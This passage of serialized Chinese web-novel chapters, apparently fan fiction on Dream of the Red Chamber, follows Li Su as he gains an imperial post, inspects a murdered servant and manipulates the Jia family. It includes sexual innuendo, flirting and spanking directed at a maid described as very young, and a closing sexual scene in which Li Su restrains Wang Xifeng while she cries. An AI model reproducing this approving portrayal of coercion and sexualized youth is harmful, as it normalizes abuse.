他大步向着宫外走去,到了宫门口,领了自己的剑,跟夏守忠道了别,就出了宫门。 “李花园!” 李素头也不回,直接扬了扬手:“老夏,下次直接叫我李素,哪怕叫我老表都成。” “花园子爵李素接旨!” 李素脚步一顿豁然转身,只见夏守忠不知何时掏出了一卷圣旨,双手打开,正笑眯眯的看着他。 “臣李素接旨!” “奉天承运,皇帝诏曰:花园子爵李素,忠孝勤勉,温良粹纯,智勇双全,星夜救民于前,白日追凶于后,朕心甚慰。着李素任西城兵马司指挥使,赏骏马照玉狮子一匹,钦此!” 就赏了匹马? 李素抬起头来,看向了夏守忠。 “领旨吧,李指挥使。” 李素接过圣旨后,从地上站起身来。 就在这时,一声响亮的马嘶传来。他地循声望去,只见两名身着蓝色锦衣的太监正小心翼翼地牵着一匹白马从宫门内徐徐走出。 李素看清这匹马的全貌,就涌起一股喜爱之情。 白马高大而健壮,浑身雪白,竟看不到一丝一毫的杂毛,夕阳洒落在它光滑如丝的皮毛上,反射出如缎子般的光泽,马头高昂,透露着一种与生俱来的骄傲。 长长的鬃毛随风飘动,如同银瀑般垂落至马背两侧,更增添了几分潇洒与飘逸之感。整匹马身姿挺拔,线条流畅优美,当真是威风凛凛、极其漂亮! “这匹马,是真正的千里马,极为陛下所爱,四位皇子向皇上求了多次,皇上都没给,现在它是您的了。” “夏公公,多谢了!” 李素开心的抱拳,这马他爱了,这赏赐他是真的喜欢。 “咱家知道您要去宁国府,官袍和官印我就安排人直接送到林府去了,还有,这两个小子一直照料它,所以他们俩也一并归你了。” 李素从两个太监手里接过了马缰绳,轻抚马的脖子,感受到如缎的手感:“替我跟陛下说一声谢,我太喜欢了。” “呵呵,这谢恩的事儿,你自己办,咱家可代不了。” 听着夏守忠的话,他微微颔首表示明白。 今日恩威并施,不外如是! 然后李素将圣旨塞入怀中,紧接着握住缰绳,抬脚踩住马镫,身子猛地向上一跃,矫健的地翻上了照玉狮子的马背。 宽阔厚实,稳健高大!坐在其上的李素看了看皇城,长街,夕阳,寒风猎猎。 不由得豪气顿生:“银鞍配白马,飒沓如流星,腰中子午剑,公子世无双,哈哈哈!” 混搭的词儿念完,他双腿一夹马腹。 “驾!” 只见照玉狮子顿时发出一声长嘶,扬起两只前蹄,随后整个身躯都直立起来。马头甩动,“嗖”的一下就冲了出去。 两名马夫也飞身上马紧随而去。 宁国府,众人已经散了,贾赦没有拿到库房钥匙,他找到了贾珍库房钥匙的藏处,但是只有一把母钥,还差子钥。 无奈他弄醒了昏睡的贾蓉,贾蓉扛不住压力说了出来。 子钥竟然在赖二手里,而赖二此时却在大牢,急切之下贾赦要砸库房的时候,被贾母拦了下来,众老亲都看着,如果砸了人家库房,就有点儿太不要脸面。 宁国府就差这么一点儿,人没死被吃绝户。 最后,北静王提议这银子,各家先替宁国府出了,平息眼前的灾祸,等贾珍醒了再还债。 众人没有异议。 贾赦回去后不甘心,寻人疏通牢里的关系找赖二拿钥匙不提,李素很快就回到到了宁国府。 他估算了一下,速度竟然平日将近快了一倍,他恋恋不舍的跳下了马。 守门儿的门子堆笑的跑过来行礼:“素大爷这马真是威风。”说完就要去接马缰绳。 李素摇头:“这马你可碰不得,府里怎么样了?” “回禀素大爷,府里的寿儿死了,人也都散了。” “死了?” “可不是?啧啧,平日里仗着老爷喜爱耀武扬威,吆五喝六,嘿嘿……这回威风不大起来了……素大爷,您是有所不知,那家伙就是个卖屁股的,不走正道儿还能有好?” “怎么死的?” “呃……听说是被打死的,又好似被冻死的,上面的贵人也没给个明白话,尸首还被拉走 了。” 李素皱眉:“被拉走了?谁拉走的?” “是顺天府的差人。” “什么时候拉走的?往哪个方向走的?” 门子不解李素为何问这个,但还是抬手指了一下西侧:“刚走一炷香吧。” “一会儿有两个宫里来的马夫,到了后你招待着。”李素说完翻身上了照玉狮子,奔着顺天府差人离开的方向追了过去。 不知道为什么,李素心里觉得自己应该看一眼寿儿的尸体。 没过多久就见前方两个差役,正赶着一辆马拉的板车前行,车上铺着茅草,上面躺着的正是死去的寿儿。 李素一夹马腹追了上去,跑到马车前方止住马拦住了两个差役。 “本官镇国公府牛清,停车!” 两个差役相互看了一眼,赶紧勒住马头,下来行礼。 李素翻身下马道:“你们要把尸体拉到哪里去?” “府衙。” “谁下的令?”李素边问边翻看尸体,身体已经僵硬,面部的血渍已经冻了。 “禀贵人,是我们府衙推官下的令。” 推官?管刑名的。 他继续翻看尸首,随后扯掉了寿儿头上的束带,翻看了头皮,也没有伤口,随后他摸向了寿儿的后颈。 嗯? 不对劲! 后颈椎骨不对劲,有移位的痕迹,被打断又复位了,因为天寒复位后又冻在了一起,所以没有出现脑袋与肩颈不和谐的扭曲现象。 这不是牛继宗打的,他当时看的清清楚楚,所以寿儿是被人谋杀了。 就是不知道是忠顺王,还是另有其人? “你们可以走了。” 李素撂下这话,上马就走,等回到宁国府,见两个马夫也到了,于是他把照玉狮子交给了二人,去见葫芦姐姐。 第132章 尤氏可封侯 来到了贾珍的院子。 六神无主的尤氏见到他就是一喜,起身就要说话,李素摆手止住了她开口。 随后指了指天香楼的方向,转身就出去了。 经过今日宫中的经历,李素忽然感觉自己之前做事竟然如此粗糙,心中也并未把这世界真正的当成一个真实世界。 总有种上帝视角的心态在作祟,莫名的骄傲感影响着自己的认知,雍和帝不着痕迹的做法,好好的给他上了一课。 按照之前,他进屋就会跟葫芦姐姐讲话,不会有什么顾忌。 但现在心中突然就起了念头,贾珍是不是真的没醒,有没有小厮丫鬟在暗处看着等等,心思就这么突然的细腻了起来。 他一路避着人,到了天香楼下的锦花厅,也不上楼,就在这里等着葫芦姐姐。 过了大约一炷香的时间,葫芦姐姐来了。 李素拽着她的手,也不多言就进了老地方,锦花厅他那夜睡的里厢,把门关上后,尤氏拍了拍水囊。 “可吓死我了,素兄弟,你这是怎么了?” 李素抓着水囊推着她坐下:“小心驶得万年船,你跟我说说,我走后发生了什么?” 尤氏忍着骚动,把事情从头到尾说了一遍。 李素听完,才知道自己的财产差点儿被贾赦洗劫了,也知道了牛继宗来宁国府做什么了,贾珍定然是不同意出银子,才遭了牛继宗的打。 “~素哥儿。” “怎么了嫂子?” 李素说完话,才意识到自己竟然在思考问题的时候,不自觉的伸进了水囊内胆,捏了水囊的盖子,力气有点大了。 “今日里已经攮过了,素哥儿,可不能再攮了啊。” “嫂子误会了,你自己吃吧,我想点儿事情。”说完他就躺在了榻上,双手抱头枕在了脑后。 尤氏瞬间明白了李素的意思,也就是她,换了可卿未必就能领会。 葫芦姐姐果然是个知冷知热的,红楼中说她是个锯嘴葫芦,李素不认同这话,应该是巨嘴葫芦才对。 比元春这个被宫中嬷嬷教导的还厉害,如果封爵的话,李素认为她当得一个侯爷。 她吃的满嘴流油,饱了的时候,李素也捋好了思路。 等她收拾好残局,李素站了起来。 “你就做好自己的事情,珍大哥和蓉哥儿的病情随时跟我说,明日里你的新管家就到了,其余你不用管,我走了。” “好。” 李素回了荣国府,进了自己的院子,晴雯就扑了上来。 “老爷,你去哪儿了?裘袍怎么变了色儿?” 李素见她眼圈儿都红了,笑着捏了捏她的脸蛋儿,扬起脖子任细柳解自己脖子上的绳扣儿。 “去西天取经了。” “不是去的东府么?” “哈哈哈,不管东西南北,极乐处皆是西天……细柳把这裘袍放仔细些,是皇后给的。” 细柳答应了一声。 晴雯小鼻子皱了皱,随后又嗅了嗅,撇了撇嘴从他怀里退了出去,但又有些不舍,拉着他的袖子嘴巴一撅,扭扭捏捏。 李素坐了下来,拍了一下她的小屁股。 “大方点儿!你那丑样子一看就是在演戏,这两日可有什么事儿发生么?” “啊~”晴雯捂臀。 随后做了个鬼脸儿道:“这两日探春姑娘来了……三五次,迎春姑娘也来过一次,只是说自己走错了路……哼,还以为我看不出么,她就是想瞧老爷呢…柳姐姐,老爷的茶泡好了没有?” “呸!你这是当你自己是奶奶了?指使起我来了?要你来问,老爷指不定何时才能喝上茶呢?……老爷吃茶!” 细柳边数落晴雯,边把倒好的茶盏递给李素。 他端起茶喝了一口,晴雯蹲下身子,在一侧给李素捶起腿来:“老爷这力道可还行?” “再使点劲儿。” 晴雯小手用力捶,但落下去还是轻柔,她不看细柳,就抬眼瞧着李素的脸道:“我就是个丫头命,哪能做得了奶奶?最多啊,也就能做个姨奶奶,老爷你说是不是?” 李素放下茶盏,捏了一把她滑腻的脸蛋儿:“那你知道怎么做姨奶奶?” “知道。” “如何知道的?你说来听听。” 晴雯喜不自胜,先用小脸儿在李素的手心蹭了蹭,随后一扬脖:“就是让老爷开心,不管其他,按照她们的说法就是……取,取…细柳,取什么来着?” 细柳哼了一声:“悦!” “对,取悦老爷。” “她们 是谁?除了取悦还有什么吗?” “就是跟我一样的那些个丫鬟们,什么彩霞、彩云啊、司琪啊什么的,老爷如果问除了取悦还有什么,这个我还真知道,细柳都不知道。” “喔?这还是秘密?” “当然。” “那你跟老爷我说说。” 晴雯看了看细柳,站起身郑重其事的把嘴巴凑到了李素的耳边,轻声道:“骚。” 李素差点儿一口茶喷了出来。 “老爷?我说错了?”晴雯见李素面色不对赶紧问。 李素赶紧否认:“没,你说的对,我只是没有料到你小小年纪,竟然领悟如此之深,你这个秘诀又是从哪里探到的?” “赵姨娘说的,被我偷听到了。” 原来是她,那就对了,李素对赵姨娘的领悟深以为然,否则以她一哭二闹三上吊的性子,早被打死了。 “素兄弟,素兄弟,你在吗?” 是王熙凤的声音在院子外响了起来。 晴雯小声冷哼:“虚伪,明知道老爷来了,还问!”随后她学着王熙凤的表情和声音小声道:“你在吗?你在吗?你在……” “啊!” 晴雯一抬头,就看见王熙凤的眼中像是藏着刀子一样看着她。 “你继续!” 晴雯心虚,赶紧把头低了下去。 “继续啊!我早就听丫鬟们说,赖嬷嬷找了个牙尖嘴利的丫鬟像个狐狸精,原本我还不信,今日里却是真的见识到了,你们爷面前嘲讽客人,是谁给你立过的规矩?” 王熙凤伸手就戳向晴雯的脑袋。 手伸出半截儿就被李素握到了手里:“二嫂子何必跟一个小丫头掷气儿,年龄小顽皮罢了。” 王熙凤使劲儿把被捻捏手指抽了回去,白了他一眼:“你就惯着她吧,看你将来府里还不乱成一锅粥?” “哈哈哈,会有人管她,且定会管的好好的,你信不信?” “谁?你……你定亲了?” “还差一道手续,不过她,是个识字的。” 第133章 嫂子说的是哪只? 王熙凤心塞了。 “我识字。”晴雯脑袋一扬。 王熙凤顿时恼了,指着晴雯:“平儿!给我正反抽这狐狸精十个嘴巴子!” 晴雯脖子一梗,又要开口,却被平儿从后面伸手捂住了嘴巴,“唔唔……吾……”很快就被拖进了里间去。 “素兄弟,我跟你说就这种没规矩的小蹄子……不是,素哥儿,你别,你松开我……我又不会自己动手……” 胸前剧烈起伏的王熙凤,伸手就掰从身后搂过来的贼手。 “啊?你不自己动手?” 李素恋恋不舍的松开了王熙凤。 “哼。” 王熙凤白了他一眼,伸手捋平自己胸前的褶皱:“这也就是给了你,不然她见不到明儿的日头,你信不信?” “信,信,嫂子这会儿过来可是想我了?” “我想你个大头鬼!”说罢一拍自己的额头:“对了,差点儿让这小蹄子给耽误了正事儿,老祖宗叫你过去饮宴。” “饮宴?现在府里还有心思饮宴?我听说这回破了好大的财。” 王熙凤叹了口气:“可不是,唉,老祖宗自己的体己银子都拿了不少出来,今儿这晚宴是老祖宗听说素哥儿回来了,你跟探丫头又有了亲,所以就专门为你弄这么一场。” “这么个事儿,也能劳烦你这二奶奶跑这一遭?我可是外男。” 王熙凤低声道:“你以为我愿意来?早晚把你那贼手给剁了!” “嫂子说的是哪只?” “松开!” 王熙凤用力一甩,就往外走。 李素朝有些呆滞的细柳摆了摆手:“柳儿,袍子给我。” “呃……好好,老爷。” 他们前后脚出了门,里间的平儿还在数落晴雯:“你老惹她生气做什么?她又没针对你?” “我就是看不惯她那趾高气扬的样儿,对咱们这些个丫鬟就没好过,谁不知道她是个折腾人的?” “折腾你了么?” 晴雯支吾了一声:“那……那倒没有。” “那你见她折腾谁了?你帮谁打抱不平呢?” “也没见,但那么多人说,必是真的。” 平儿气笑了,伸手点了点她的眉心:“傻妹妹哟,姐姐告诉你啊,这很多事儿啊,看见了都未必是真的,何况是没见的?” 晴雯听到这话一怔,不顾自己被袭击,急问道:“那偷听到的是不是真的?” “你偷听了谁的话?” “赵姨娘。” “那倒有可能是真的。” 晴雯的心落在了肚子里,她方才和李素说完,总感觉自己家老爷的反应有点儿不大对,心里就起了嘀咕,现在听平儿这么一说,心里顿时踏实了,骚是对的。 李素随着嫂子一路过了荣禧堂,到了贾母的院子里,灯火通明,小厮丫鬟来来往往。 “素哥儿,来来,这边来。” 贾赦见李素进院儿,就起身跑过来拉住了李素的胳膊,笑着往里走。 “大老爷何必如此客气,这是拿我当外人了,一会得罚酒的。” “哈哈,罚,罚!” 里外两席,外间全部都是爷们儿,只是现在贾府的爷们凋零,除了贾赦贾政之外,贾环贾兰都被拉来充数了。 跟贾政见了礼,贾环和贾兰给李素见礼后,李素被贾赦摁在了自己右侧的主宾位上。 “政二叔,宝兄弟可见好了?” “嘎嘎嘎……哈…唔。” 贾政还没说话,贾环就忍不住开始笑,抬眼瞧见自己老子难看的脸瞪着他,死命捂住了自己的嘴巴。 “再多嘴,就滚,打死了事!” “二叔,息怒息怒,还是孩子,聪明伶俐的好孩子。” 贾政摇头:“若是果真就好了,宝玉好多了。” “那怎么不见他入席?” 贾政面上又是一黑:“他……呃,被老太太留在了里间。” “二弟,不是我说你,宝玉以后要承你衣钵的,怎能与娘们儿一席?再者这素哥儿来了,怎么都算他的半个姐夫吧,他都不来陪着?” 贾赦嗓门儿很大。 “大哥莫说了,我这就去把他弄来!” 李素忙起身拦住了贾政:“二叔,别去,何必惹老太君不快?快坐下,坐下!”把贾政摁在了座位上后,他继续劝道:“宝兄弟是遭了罪的,过几日再打不迟,现在二婶子怎样了?我这几日忙,也没来得及探望。” 贾政觉得李素说的在理,于是压下自己心头的火气:“你二婶子现在也大好 了,本也没事。” “大好了?那就好,对对……本也无事。” 李素大笑两声,往自己位子上走,路过贾兰撸了一把他的小脑袋:“看头型儿,就像我,以后肯定有大出息的。” 贾政闻言失笑,贾赦也笑。 贾兰连忙从椅子上下来,站的笔直,躬身行礼。 “多谢大叔夸赞,贾兰有礼。” “有礼有礼,快坐。” 贾兰又费劲的爬上了自己的椅子。 一顿宴席吃完,贾环和贾兰被人带走,李素和贾赦、贾政一起喝着茶。 贾政刚要开口说话,屋门被推开后进来一人,李素瞧过去只见是赵姨娘,她进了屋子先向贾赦贾政行了个礼。 贾政皱眉。 “你来作甚?快出去!” “老爷你说的哪里话,我好歹也是探丫头的生母,她如今被许了人,我就不能来瞧瞧姑爷?我生怕打扰你们饮宴,一直在外头冻了小半个时辰,生生等到你们吃完酒,才敢进来,老爷还骂我……我到底下贱到了什么地步,让老爷如此不喜?” 说完这话她就开始抽噎,委屈极了。 贾政听得不是滋味儿,虽说想她这就走,但却再说不口责怪的话了。 赵姨娘见贾政被自己拿住,随后向前两步,看着李素擦了擦眼角喜道:“素哥儿吧,我是探丫头的生母,你可以唤我一声姨娘。” 李素看向了贾政,贾政黑着脸一副欲言又止的模样儿。 “你个遭了瘟的,谁让你来的?给我滚出去!” 只见是贾母老太太从里间出来了,左右鸳鸯和王熙凤搀着她,正怒视赵姨娘,她对赵姨娘是真的恨,好好的把个探丫头给弄成了个妾,而且还是上赶着送给李素。 不管有多少府里的因由,贾母此时都归罪在她的身上,还没收拾她,又上赶着来丢人现眼。 “赖嬷嬷,拖出去,着人掌嘴,不见血不许停!” 第134章 让李素叫我岳母 赵姨娘花容失色。 面对贾母却不敢辨别半分。 随后赖嬷嬷指挥两个婆子,拖着赵姨娘就出去了。 “素哥儿,让你见笑了,你们三个爷们儿随我到里间用茶吧。” “见过老太君。” 李素起身行礼,只见这几日没见这老太太,好似又老了不少,两腮都开始下瘪了,不复原来的饱满。 到了里间重新落座,李素坐在了贾政的下首。 屋子里邢氏、王氏都在,探春、迎春、惜春三人不见人影,想必又在屏风后偷窥,宝玉伏在王夫人的怀里,目光怔怔的看着李素,不说话。 王夫人……呃,手里没有念珠了,此时捏着的是宝玉的手指头。 “畜生,还不过来见礼!” 这一晚上糟心的贾政,见到宝玉那傻不愣登的模样,气就不打一处来。 宝玉吓得一哆嗦,不由的瞧向了老太太,见老太太也向他点头,只好硬着头皮就欲从王夫人怀中爬起来。 “不必,不必,都是一家人,宝兄弟好好歇着,二叔莫气。” 李素劝贾政。 不劝还好,一劝他的怒火更炙,年龄差不了几岁,怎么就如此废物。 “快些,你这孽障!” 这一嗓子,声音有些大了。 只听噗的一声,贾宝玉就呆住了,随后他捂脸趴在王夫人怀里大哭起来,邢氏往旁边挪了挪。 随后众人纷纷掩鼻。 他,又漏了。 “快快,送宝玉回去。” 贾母打了个晃儿,吩咐完还不忘瞪了儿子一眼。 “宝兄弟这是怎么了?” 李素一脸疑惑的看着贾政,贾政不好意思看他,对着王氏喊道:“自有丫鬟去照应这孽障,你走什么?” “老爷……” 王夫人心中发苦,是她想走么? 贾母看出来了,是宝玉漏的有点多,她也沾了光。 “让她去,你以后再使脾气,冲着我老婆子来,别再难为我的宝玉可好?算我老婆子求你了。” 贾政慌忙跪下:“儿子不敢。” 一旁的贾赦,压着心里的笑屁股不停的扭,实在坐不住了,起身拉起贾政:“二弟以后不惹母亲生气就好,快起来,起来。” 接着他扭头对李素道:“素哥儿,你有所不知,这宝玉……” 贾母拐杖一顿,喝骂道:“你闭嘴,如此丢人之事,素哥儿不知道也就罢了,你还要说出来,你存的什么心?” “母亲,冤枉啊,我这不是瞧着素哥儿变成了自己人么?” 贾赦叫起了撞天屈。 “今儿晚上,你不许再说话,要么就滚!” 暴躁的贾母让屋里人再也不敢出声了。 平复了一会儿,心累的贾母对着李素挤出了一个笑脸:“素哥儿,如今你也不算外人了,我老婆子也不跟你说虚的,今天晚上本想着一家人好好吃顿饭,亲近亲近,更有事要拜托于你,谁曾想这又不得宁静,你既然是自己人,也不怕被你瞧了笑话。” 李素郑重起身道:“老太君说的哪里话,我早就拿自己不当外人了。” 贾母频频点头。 “好,好,快坐下,我知道你是个好孩子,不然也不会跑去祠堂救火,更不会为了你珍大哥追杀牛继宗,追了那般远,这府里的爷们儿但凡有一个有你一半的担当,也不会到现下这个境地。” 李素摇头。 “老太君此言差矣,我却不这么看,赦老爷练达果决,政二叔端方持正、琏二哥世事洞明、宝兄弟机敏好色,呸!是好学……就连环哥儿都胆魄过人,刚才我又见了兰侄儿,更是恨不得收他为义子,所以府里人才济济,荣国后继有人啊老太君。” 贾母被李素说的恍惚了一阵儿。 真有这般好? 当然李素肚子里还有另一套词儿,就不能说了。 “不说他们,素哥儿,你是个仗义的,如今有一桩事却需要你帮忙。” “老太君吩咐就好,哪里说什么帮不帮的。” “那我就直说了,就是大丫头元春,被皇帝许了你做长史,这丫头做长史实在是有伤风化,所以我老婆子还有他父亲。” 贾政站起来对李素行礼。 “她母亲……”贾母左右看了看,才想起王夫人沾屎跑了。 “请你放元春归府!” “元春?长史?老太君让我想想……”李素的眉头皱了起来。 “你进京那天,皇帝不是赏了你个宅子嘛,还给你配了个长史,贾元春,是二弟的大丫 头,也就是探春的姐姐。” 贾赦大喇喇的提醒道。 “啊,嗨,我想起来了,是有这么一档子事儿,我都忘记了,听旨的时候没注意,后来我还琢磨,这长史怎么还取了个女人的名字?实在没想到,竟然是咱们一家人,这缘分……真的是……” “不是一家人,不进一家门!” “赦大叔好文采。” “哈哈哈……呃。” 见贾母又开始看他了,他赶紧闭嘴。 “素哥儿,怎样?” “老太君,我愿意啊!” “果真?” “老太君,您这么问,我就不高兴了,怎么能怀疑我的人品?那我走!”李素忽然变脸,怒气啪的行了个礼,转身就往外走。 他几步就走到了门口,头也不回的大声道:“今夜我就搬离,我李素从来受不得人质疑我的人品!” 就在贾府众人,还没有反应过来的时候,他就出了屋门。 贾母猛的一拍额头急道:“快kkkkk……把素哥儿拦回来,你们是死人么?” 贾赦跟贾政急忙起身,往外就跑。 “凤哥儿你也去,快去啊!就说我老婆子错了,这孩子怎么就是这么个爆碳性子!”她边埋怨着又把王熙凤赶了出去。 出了屋门的李素憋着笑,从一个小厮手里抢过灯笼就往自己院里跑。 走了没多远就听身后传来了喊声。 “素哥儿,莫走啊!” “素哥儿,素哥儿,回来啊,回来!啊……你作甚?” 贾赦被一个人影忽然扑倒在地,还没待看清,就听怀中人大哭起来:“老爷……你…” 是赵姨娘。 贾赦摸了一把,忙推开她:“你老爷在那儿!” “快滚,你在此作甚?” 赵姨娘狠狠地瞪了一眼贾赦,随后扑过去抱住了贾政的腿:“老爷,我有何错?竟如此打我……呜呜。” 借着灯笼的光,他看赵姨娘披头散发,嘴角也都被血染红了,心中越发厌恶。 “你赶紧回去!” “我不去,除非老爷应我一事。” “何事?” “让那李素叫我岳母!” 第135章 都是戏精 “蠢妇!” 贾政闻言大怒,随后转身对她身后的健妇丫鬟道:“快快拉走,莫在此胡闹!” “老爷…老爷,我不!” 赵姨娘死命抱着贾政的大腿不放手。 贾政见挣不脱,无奈弯身一把薅住她的头发,拽住低声快速道:“蠢妇,探丫头是做妾,我连岳父都称不得,你一个姨娘如何做人岳母?这事儿办不得!” “那让环儿拜李素为师能不能办?” “……这…” 贾政看了看周围的丫鬟仆妇,还有贾赦似笑未笑的表情,一咬牙:“能办,快滚!” “谢谢老爷……”赵姨娘顿时喜笑颜开,只是她披头散发,嘴角挂血,在灯笼下实在有些渗人。 未说完,就被贾政再次推开。 看着贾政和贾赦匆匆而去,赵姨娘抹了一把嘴角儿,冷笑一声左右看看,见仆妇们也走了,只剩下丫鬟彩云就要过来扶自己。 “你果然是个好丫头,这么说老爷果然答应了,我这个簪子就赏你了。” 赵姨娘靠着彩云站着,说话就去摘自己头上的簪子,手忽然愣住了:“我簪子呢?嗯?不对啊,我来的时候还带着呢?” 赵姨娘胡乱在头上摸索起来。 “奶奶,或许是刚才掉在路上了?” 赵姨娘摇头,眼睛忽然直直的说道:“不对,更有可能是刚才那些个小奴婢养的给老娘偷了去,哼哼……我要去找老祖宗要个公道。” 彩云一把抱住自己的主子:“奶奶莫去,莫去,此时老祖宗正在气头上,奶奶又没证据,吃亏的是奶奶,更何况现在千万别惹了老爷的性儿,环哥儿若拜不了师父,可就耽误了大事!” “对对对,你瞧我这脑子,多亏你这女中猪羔了。” “奶奶,戏文里说的是诸葛。” “哈哈哈,都是一个姓,你明白就行了,咱们快走,这里坏人太多。” 彩云一路打着灯笼,扶着赵姨娘往自己院子走去。 后面赶来的王熙凤被一个簪子硌脚了。 平儿把灯笼放低细瞧,原来是个金簪,被王熙凤刚才一脚踩的已经不成样子了。 “谁的破玩意儿,暗算姑奶奶!”王熙凤啐了一口。 平儿捂嘴笑:“用金子来暗算你,你还不知足?” “这般细的金簪,不知是哪个穷鬼丢的,你要你拿去!” “我才不要,我听人说随意捡别人值钱的物件儿,是在捡灾祸,而丢的人就是丢灾祸。”平儿边说边提着灯笼引路前行。 王熙凤斜了她一眼:“可惜了。” 平儿捂嘴笑。 等她们走远了,又一个黑影在王熙凤和平儿驻足处,摸了一会儿就去了。 李素回了院子后。 吩咐丫鬟关门,随后他在晴雯耳畔低语片刻,就进卧房躺了下去。 贾赦和贾政带人赶到后就发现了紧闭的院门,于是命人上前叫,敲了好一会儿才听到院子里传出了声音。 嗓门儿尖脆,仿佛受了太大的委屈。 “敲什么敲?没有你们这般欺负人的,我们老爷事事为你们着想,差点儿都死在了金宝街,这般性子,你们就可着满神京找去,能找见么?你们可以说我们老爷事办的不好,但怎么能怀疑我们老爷的人品?……啊?你们来个人说说啊!” 贾赦和贾政心听罢中更是有愧,不由得对贾母就有些埋怨,挺好的事儿,何苦再多那么一嘴。 贾赦对林之孝家的指了指:“你说。” 林之孝家的遵命向着院子里喊话。 “里面说话的可是晴雯?快开门,大老爷和老爷都来了!” “是我怎地?我们老爷伤心的都晕过去了,枕头都湿透了,你们想做什么?杀人么?人家说杀人……诛……呃诛心,你们都杀过一次了,就怕我们老爷死的不透么?” “晴雯啊,这里头有误会,你也是咱府里出来的,府里对你也没差过,何必难为自家人,你打开门让老爷们进去找素大爷说罢,这天寒地冻的,若是老爷们冻坏了,素大爷想必也是不喜的。” 林之孝家说完这话,里面沉默了下来,不多时只听得门栓声响,门被打开,一高一矮两个丫鬟打着灯笼冷着脸看着他们。 正是晴雯和细柳。 “素大爷在哪里?你刚才说身子有了恙,大老爷和老爷心急如焚,先去看看。” “猫哭耗子,哼!” 晴雯提着灯笼就往里走,贾赦和贾政黑着脸跟上,刚上了台阶晴雯就忽地转身道:“别进这许多人了,万一我家老爷再收了风,我该找谁说 话?” “我和二弟进去,你们外头等着。” 贾赦吩咐完,晴雯就掀开了厚厚的门帘,随后推开房门,没搭理身后的两人,贾赦差点儿被门帘子盖了头。 等了里间,就见几个丫鬟红着眼睛,小声抽噎。 榻上李素面上泪痕点点,枕头也湿了,好似是晕了过去,又好似的睡了过去。 晴雯防贼一般看着贾赦跟贾政。 “老爷们看过了,可好了?可能走了么?” 这? 兄弟俩相互看了一眼,李素模样让他们更加愧疚,心道这情形把李素叫起来,也不是什么好事情,干脆明日再说。 “好好伺候你们老爷,若是醒过来,就说我们来过了,一早时候我们再来。” 贾政不欲和这牙尖嘴利的丫鬟多言,撂下一句话就往外走,贾赦一并跟着出了房门,他俩还得紧着去跟贾母说明情况, 他们出了院儿门就跟赶来的王熙凤、平儿走了个对头。 林之孝家的把情形跟王熙凤说了一遍。 王熙凤觉得蹊跷,这心里藏贼的兄弟,有这么脆? “嗯,知晓了,那我也要去瞧瞧,老祖宗把我轰了过来,若是没瞧上一眼,怎么交差?”说罢对贾赦、贾政行了个礼就往前走去。 到了院门儿口,见门没关,主仆二人就欲往里进,岂料王熙凤刚迈进一只脚,大门就突然一动,开始闭合。 幸好凤姐儿反应快,本能后退了一步才没有夹到脚。 “谁?” 惊魂未定的王熙凤娇斥一声。 “大半夜的谁在门前聒噪?” “晴雯?!你这小蹄子,我誓不与你罢休!”王熙凤骂了一句,抬脚就踹门。 咚! 门就被踹开了,王熙凤一个趔趄就往后倒去,幸好平儿眼疾手快抱住了她,她紧接着窜起来就骂:“我今儿要不打死你个小蹄子,我就不叫王熙凤!” “二奶奶杀人啦!救命啊!” 里面的晴雯转身就跑,随后大声嚷了起来。 第136章 玩砸了的凤姐 王熙凤听得怒火更炽。 扭头对平儿道:“去,叫人,我今儿誓要弄她!” 平儿抱紧了她的胳膊就往里拽:“奶奶,我的好奶奶,正事儿要紧,一个小丫头,什么时候你弄不了她?” 王熙凤压下火气,被平儿推搡着就进了院子。 院子里一个人影也无,晴雯已经躲了起来,细柳提着个灯笼迎了过来,给王熙凤见礼后就引着主仆二人进了屋子。 王熙凤见屋中除了麝月、茜雪等人不见晴雯,她压不住火又出了房门,站在台阶上大骂起来:“晴雯,你这奴几辈养的,你等着姑奶奶的,哼!” 平儿把她又拽了进去。 藏在西厢房里的晴雯撇撇嘴,不搭话。 紫鹃低声道:“你为何老是针对她?” “你没看她进了咱们院儿那趾高气昂的模样么?就好似把自己当了咱们主母一般,也不知道避讳,你听她那声儿了么?” “什么声儿?” 晴雯掏出自己的手绢儿,拇指和中指捏住了一角儿,随后朝着紫鹃一扬,细声儿道:“哟~素兄弟啊,可想嫂子了?” 紫鹃脸上一红,啐了一口:“呸!人家才没……这么说。” “嗨,就是,呃……打比方。” “为什么打比方?” “因为……呃,好你个小蹄子,竟然拿这般烂俗的梗来笑我,看我饶不饶你?”晴雯柳眉倒竖,朝着紫鹃就扑了上去。 紫鹃连忙躲避,瞅准机会一把握住了晴雯的手腕儿,随后向后一扭,晴雯就被压的躬身下去,随后紫鹃另一只手摁住了她的后颈。 晴雯挣扎了一下,完全没有办法,但她哪里服气,梗着脖子喊道。 “你放开!重新来过!” 两个人再次斗了起来。 被平儿拽进屋子里的王熙凤,气鼓鼓的来到里间,看着榻上的李素,果然和林之孝家说的一模一样。 王熙凤狐疑的走到近前,看了看被流湿的枕头,又看了李素脸上的泪痕,这如花的美男子脸上流泪,让她和平儿都不禁有些难受。 王熙凤毕竟是见过大场面的,在这魅惑下,很快清醒了过来,她心中一动,随后吩咐了一声。 “你们都出去!” 几个丫鬟面面相觑,平儿也一脸的疑惑,不明白她要做什么。 “快出去!我和兄弟说说话,兴许……他就醒过来了,老祖宗还等着呢。” 平儿扯了扯细柳几人,随后几个丫鬟就出了里间,来到外间后,就听到隐约晴雯吵闹的声音。 “去瞧瞧晴雯,这是在做什么?这见天儿的跟二奶奶做对,没大没小的,真不怕被打死?搁在以前早就被配了小子去!” 几个丫鬟点头,她们可没有晴雯那胆子,晴雯跳脱也让她们有些不喜,见平儿要教训她,就想去看她的笑话。 屋里的王熙凤见人都出去了,她大着胆子轻轻用指尖儿点了一下李素的脸,见李素没有反应,素手蘸了一滴李素的眼泪。 随后拿到灯下瞧了瞧,瞧不出什么端倪,于是她把指尖送到了红唇中,含了一下。 “呸!呸!” 呸了两口后,眉头轻皱自言自语道:“竟然真是咸的?真哭了?” 随后她拿过蜡烛,靠近李素的脸,来回照了一会儿,又照向了他的下身,但看不到什么,身上盖着厚厚的被子。 王熙凤盯了一会儿,面色变幻不定,就觉得自己心跳如鼓,同时大骂琏二那没用的,让自己难受这么多天。 她随后一咬牙道:“老娘就不信了!老娘……老娘就是为了拆穿他!对,就是这样!” 说完的手就探进了李素的被子里。 紧接着就呆住了,小嘴儿微张,呐呐自语:“男人和男人竟然也不一样?” 嗯? “素哥儿,你装的,你拿开手!” 王熙凤用力往外抽了起来,但谁知手没逃开,就感到自己的腰被大手托了起来,然后身子好像飞了起来,砸到了李素的被子上。 挣扎着再想开口,口中瞬时被堵了个满。 “唔唔……” “嫂子,我是我哥。” 玩砸了! 王熙凤眼角儿滴下了眼泪。 